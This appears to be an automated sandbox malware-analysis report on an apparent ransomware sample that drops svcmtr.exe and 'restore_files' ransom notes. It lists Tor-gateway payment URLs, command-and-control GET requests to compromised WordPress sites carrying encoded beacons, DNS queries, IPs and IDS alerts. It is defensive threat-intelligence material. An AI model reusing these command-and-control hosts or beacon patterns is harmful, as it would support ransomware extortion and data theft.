Source: restore_files_gpmus.txt139.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt59.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt277.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt176.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt349.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt333.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt31.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt90.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt189.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt180.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt89.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt274.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt317.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt190.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt195.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt115.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt337.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt178.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt53.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt234.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt108.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt197.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt383.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt68.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt266.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt55.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt252.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt193.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt315.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt46.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt179.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt117.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt203.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt345.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt208.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt246.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt326.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt211.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt236.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt241.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt166.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt228.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt50.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt361.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt248.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt38.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt250.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt127.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt224.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt169.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt281.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt136.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt378.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt321.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt408.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt344.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt88.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt3.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt177.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt215.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt114.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt125.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt20.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt202.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt406.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt134.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt64.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt65.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt19.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt265.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt212.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt98.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt56.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt106.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt201.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt104.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt257.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: restore_files_gpmus.txt287.2.dr	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B

Uses TOR for connection hidding

Source: unknown	DNS query: name: zpr5huq4bgmutfnf.onion.to
Source: unknown	DNS query: name: zpr5huq4bgmutfnf.tor2web.org

Source: Joe Sandbox View	IP Address: 34.117.59.81 34.117.59.81
Source: Joe Sandbox View	IP Address: 34.117.59.81 34.117.59.81
Source: Joe Sandbox View	IP Address: 103.198.0.111 103.198.0.111
Source: Joe Sandbox View	IP Address: 185.230.63.171 185.230.63.171
Source: Joe Sandbox View	IP Address: 185.230.63.171 185.230.63.171

Source: Joe Sandbox View	ASN Name: GVOUS GVOUS
Source: Joe Sandbox View	ASN Name: HOSTINGSERVICES-INCUS HOSTINGSERVICES-INCUS

Source: Joe Sandbox View

JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: Network traffic

Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49163 -> 34.117.59.81:80

Source: C:\Users\user\Desktop\0t8amSU3vd.exe

Code function: 0_2_0041A030 _memset,InternetOpenA,_memset,_alldiv,_alldiv,_memset,_memset,_memset,_free,InternetConnectA,InternetConnectA,InternetSetCookieA,HttpOpenRequestA,_memset,HttpSendRequestA,GetLastError,InternetReadFile,strstr,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,_free,ExitThread,

0_2_0041A030

Source: C:\Users\user\AppData\Roaming\svcmtr.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\ip[1].txt

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /wp-content/themes/r.php?D0B1745184D4B19325F8CA239D78E804ABD3496A84C918846496CD97797104275B69DB8A8C4068125492B32EB37B14D06B1F0ACC7D785D9C3713D805BC844CFB276EA1E45EFCDFBCC2AE3ED592D28886FB0E5BED1BC965BF2FBEAAB49990078AA4D876A90C62830BBA201E36D4B4D38988D11DE0B3635F5AD99270B087204BF636044B17069B5451B4B2AD146AFCE933E23D0BF085567F9DE7B6C0446D7B4A25A85DC92602B4A566325A924DE498C743DE86E56DEC092D8E1DC4D0D20931C25E7D53671538B32008CB2D6A0884D4B875FFFD208FE7C46FE57E409CB96CE738DA867312A20F0BDFF7692ACD754569A975 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0Connection: Keep-AliveHost: serenitynowbooksandgifts.com
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/r.php?D0B1745184D4B19325F8CA239D78E804ABD3496A84C918846496CD97797104275B69DB8A8C4068125492B32EB37B14D06B1F0ACC7D785D9C3713D805BC844CFB276EA1E45EFCDFBCC2AE3ED592D28886FB0E5BED1BC965BF2FBEAAB49990078AA4D876A90C62830BBA201E36D4B4D38988D11DE0B3635F5AD99270B087204BF636044B17069B5451B4B2AD146AFCE933E23D0BF085567F9DE7B6C0446D7B4A25A85DC92602B4A566325A924DE498C743DE86E56DEC092D8E1DC4D0D20931C25E7D53671538B32008CB2D6A0884D4B875FFFD208FE7C46FE57E409CB96CE738DA867312A20F0BDFF7692ACD754569A975= HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0Connection: Keep-AliveHost: www.serenitynowbooksandgifts.com
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/r.php?D0B1745184D4B19325F8CA239D78E804ABD3496A84C918846496CD97797104275B69DB8A8C4068125492B32EB37B14D06B1F0ACC7D785D9C3713D805BC844CFB276EA1E45EFCDFBCC2AE3ED592D28886FB0E5BED1BC965BF2FBEAAB49990078AA4D876A90C62830BBA201E36D4B4D38914A0712A28548CB1A591D5BE2241C135B0E2F3FAB94EEE9E31C6BB0B8D33BD387F667397135C5EC483A155C0151211280780DA7581A2066232DDC3477639D3CA098F5C31FAE7319AB4DAE6A2EF1B042033039ED5685D79F8FCC098B742D884D5394719058E0C8D500DE20140A325CF0B HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0Host: fgainterests.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/r.php?D0B1745184D4B19325F8CA239D78E804ABD3496A84C918846496CD97797104275B69DB8A8C4068125492B32EB37B14D06B1F0ACC7D785D9C3713D805BC844CFB276EA1E45EFCDFBCC2AE3ED592D28886FB0E5BED1BC965BF2FBEAAB49990078AA4D876A90C62830BBA201E36D4B4D38988D11DE0B3635F5AD99270B087204BF636044B17069B5451B4B2AD146AFCE933E23D0BF085567F9DE7B6C0446D7B4A25A85DC92602B4A566325A924DE498C743DE86E56DEC092D8E1DC4D0D20931C25E7D53671538B32008CB2D6A0884D4B875FFFD208FE7C46FE57E409CB96CE738DA867312A20F0BDFF7692ACD754569A975 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0Host: serenitynowbooksandgifts.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/r.php?D0B1745184D4B19325F8CA239D78E804ABD3496A84C918846496CD97797104275B69DB8A8C4068125492B32EB37B14D06B1F0ACC7D785D9C3713D805BC844CFB276EA1E45EFCDFBCC2AE3ED592D28886FB0E5BED1BC965BF2FBEAAB49990078AA4D876A90C62830BBA201E36D4B4D38988D11DE0B3635F5AD99270B087204BF636044B17069B5451B4B2AD146AFCE933E23D0BF085567F9DE7B6C0446D7B4A25BD8C4E17EF6836F23642C06A5FF3A1CF2AEF4E14148B78507418AA0EAAE50DDC4F9D295FF1EF6F8F8C295F4189207899230F547B821D613C1DC3B1A419634028 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0Host: teenpornotube.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/r.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0Cookie: RNLBSERVERID=ded6551Connection: Keep-AliveHost: www.teenpornotube.org

Source: svcmtr.exe, 00000002.00000003.754010566.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.740190996.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.526806159.000000000072B000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: ezglobalmarketing.com
Source: global traffic	DNS traffic detected: DNS query: fgainterests.com
Source: global traffic	DNS traffic detected: DNS query: ledshoppen.nl
Source: global traffic	DNS traffic detected: DNS query: serenitynowbooksandgifts.com
Source: global traffic	DNS traffic detected: DNS query: www.serenitynowbooksandgifts.com
Source: global traffic	DNS traffic detected: DNS query: teenpornotube.org
Source: global traffic	DNS traffic detected: DNS query: www.teenpornotube.org
Source: global traffic	DNS traffic detected: DNS query: shmetterheath.ru
Source: global traffic	DNS traffic detected: DNS query: zpr5huq4bgmutfnf.onion.to
Source: global traffic	DNS traffic detected: DNS query: zpr5huq4bgmutfnf.tor2web.org
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=86400X-Wix-Request-Id: 1736367004.62597576918143767537Cache-Control: public,max-age=0,must-revalidateServer: PepyakaX-Content-Type-Options: nosniffAccept-Ranges: bytesAge: 0Date: Wed, 08 Jan 2025 20:10:04 GMTX-Served-By: cache-iad-kcgs7200141-IADX-Cache: MISSVary: Accept-EncodingServer-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_uw2-pub-1_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,2d58ifebGbosy5xc+FRals42LSZ5E8bBqQxaDpUjQFJ2PYQ+5XrUIsPbv0s/gX53wvb3kWKRIgMIyffV4MmqLA==,2UNV7KOq4oGjA5+PKsX47PGnwEa4ahDGUcZoML+4h9BjPZTuGyYqVhtmEIgJUb4w,R8nVwPJv9QJL1m78OROO+JDBpdtDb0a8zNGo3JIhIcQ=,EJEd9b7dmFptmyI1HOovvzWqeDfbs7uk1J4m171zrEASO5XmrrCSQNDehIjmfew3RuKHdiN8uGiJxsD4qbIdaw==Transfer-Encoding: chunkedVia: 1.1 googleglb-x-seen-by: bS8wRlGzu0Hc+WrYuHB8QIg44yfcdCMJRkBoQ1h6Vjc=Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 08 Jan 2025 20:10:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedSet-Cookie: csrfst=tZC5D9Jx-1736367006-0d9f160c0fa1a6c5; path=/Vary: Accept-Encoding, User-AgentData Raw: 31 66 35 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 54 65 65 6e 20 70 6f 72 6e 6f 20 74 75 62 65 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 73 74 61 74 69 63 2f 6d 61 69 6e 2d 32 33 33 38 35 36 36 34 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6d 61 69 6e 2d 32 33 33 38 35 36 36 34 2e 6a 73 22 20 61 73 79 6e 63 3d 22 61 73 79 6e 63 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 6f 74 68 65 72 22 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 28 66 75 6e 63 74 69 6f 6e 28 6d 2c 65 2c 74 2c 72 2c 69 2c 6b 2c 61 29 7b 6d 5b 69 5d 3d 6d 5b 69 5d 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 28 6d 5b 69 5d 2e 61 3d 6d 5b 69 5d 2e 61 7c 7c 5b 5d 29 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 29 7d 3b 6d 5b 69 5d 2e 6c 3d 31 2a 6e 65 77 20 44 61 74 65 28 29 3b 6b 3d 65 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 74 29 2c 61 3d 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 74 29 5b 30 5d 2c 6b 2e 61 73 79 6e 63 3d 31 2c 6b 2e 73 72 63 3d 72 2c 61 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 6b 2c 61 29 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 2c 22 73 63 72 69 70 74 22 2c 22 68 74 74 70 73 3a 2f 2f 6d 63 2e 79 61 6e 64 65 78 2e 72 75 2f 6d 65 74 72 69 6b 61 2f 74 61 67 2e 6a 73 22 2c 22 79 6d 22 29 3b 79 6d 28 35 32 36 37 33 37 38 38 2c 22 69 6e 69 74 22 2c 7b 63 6c 69 63 6b 6d 61 70 3a 74 72 75 65 2c 74 72 61 63 6b 4c 69 6e 6b 73 3a 74 72 75 65 2c 61 63 63 75 72 61 74 65 54 72 61 63 6b 42 6f 75 6e 63 65 3a 74 72 75 65 7d 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 6e 6f 73 63 72 69 70 74 3e 3c 64 69 76 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6d 63 2e 79 61 6e 64 65 78 2e 72 75 2f 77 61 74 63 68 2f 35 32 36 37 33 37 38 38 22 20 73 74 79 6c 65 3d 22 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 6c 65 66 74 3a 2d 39 39 39 39 70 78 3b 22 20 61 6c 74 3d 22 22 20 2f 3e 3

Source: svcmtr.exe, 00000002.00000002.876613547.00000000036F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Http://shmetterheath.ru/
Source: svcmtr.exe, 0000000D.00000002.406449433.0000000000431000.00000002.00000001.01000000.00000005.sdmp	String found in binary or memory: http://aep554w4fm8j.fflroe598qu.com/%S
Source: restore_files_gpmus.txt287.2.dr	String found in binary or memory: http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B
Source: svcmtr.exe, 00000002.00000003.408228286.00000000038A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://angularjs.org
Source: 0t8amSU3vd.exe, 00000000.00000002.345355219.0000000000431000.00000002.00000001.01000000.00000003.sdmp, 0t8amSU3vd.exe, 00000000.00000002.345370025.0000000000520000.00000004.00001000.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.875409973.0000000000240000.00000004.00001000.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.875592110.0000000000431000.00000002.00000001.01000000.00000005.sdmp, svcmtr.exe, 0000000B.00000002.370984556.0000000000431000.00000002.00000001.01000000.00000005.sdmp, svcmtr.exe, 0000000B.00000002.370940853.0000000000260000.00000004.00001000.00020000.00000000.sdmp, svcmtr.exe, 0000000C.00000002.387290975.00000000002C0000.00000004.00001000.00020000.00000000.sdmp, svcmtr.exe, 0000000C.00000002.387316507.0000000000431000.00000002.00000001.01000000.00000005.sdmp, svcmtr.exe, 0000000D.00000002.406412332.0000000000240000.00000004.00001000.00020000.00000000.sdmp, svcmtr.exe, 0000000D.00000002.406449433.0000000000431000.00000002.00000001.01000000.00000005.sdmp	String found in binary or memory: http://aoei243548ld.keedo93i1lo.com/%S
Source: svcmtr.exe, 00000002.00000002.875613471.00000000004BC000.00000004.00000001.01000000.00000005.sdmp, notepad.exe, 00000015.00000002.875324829.000000000017E000.00000004.00000020.00020000.00000000.sdmp, restore_files_gpmus.txt48.2.dr, restore_files_gpmus.txt112.2.dr, restore_files_gpmus.txt293.2.dr, restore_files_gpmus.txt119.2.dr, restore_files_gpmus.txt382.2.dr, restore_files_gpmus.txt411.2.dr, restore_files_gpmus.txt327.2.dr, restore_files_gpmus.txt376.2.dr, restore_files_gpmus.txt155.2.dr, restore_files_gpmus.txt379.2.dr, restore_files_gpmus.txt404.2.dr, restore_files_gpmus.txt303.2.dr, restore_files_gpmus.txt133.2.dr, restore_files_gpmus.txt146.2.dr, restore_files_gpmus.txt174.2.dr, restore_files_gpmus.txt292.2.dr, restore_files_gpmus.txt181.2.dr, restore_files_gpmus.txt402.2.dr, restore_files_gpmus.txt397.2.dr	String found in binary or memory: http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B
Source: svcmtr.exe, 00000002.00000002.876613547.00000000036F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: svcmtr.exe, 00000002.00000003.754010566.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.740190996.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.526806159.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.876613547.00000000036F0000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.516398200.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.875689270.000000000072B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: svcmtr.exe, 00000002.00000003.754010566.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.740190996.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.526806159.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.516398200.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.875689270.000000000072B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: svcmtr.exe, 00000002.00000003.754010566.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.740190996.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.526806159.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.876613547.00000000036F0000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.516398200.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.875689270.000000000072B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: svcmtr.exe, 00000002.00000002.876613547.00000000036F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svcmtr.exe, 00000002.00000003.754010566.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.740190996.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.526806159.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000003.516398200.000000000072B000.00000004.00000020.00020000.00000000.sdmp, svcmtr.exe, 00000002.00000002.875689270.000000000072B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
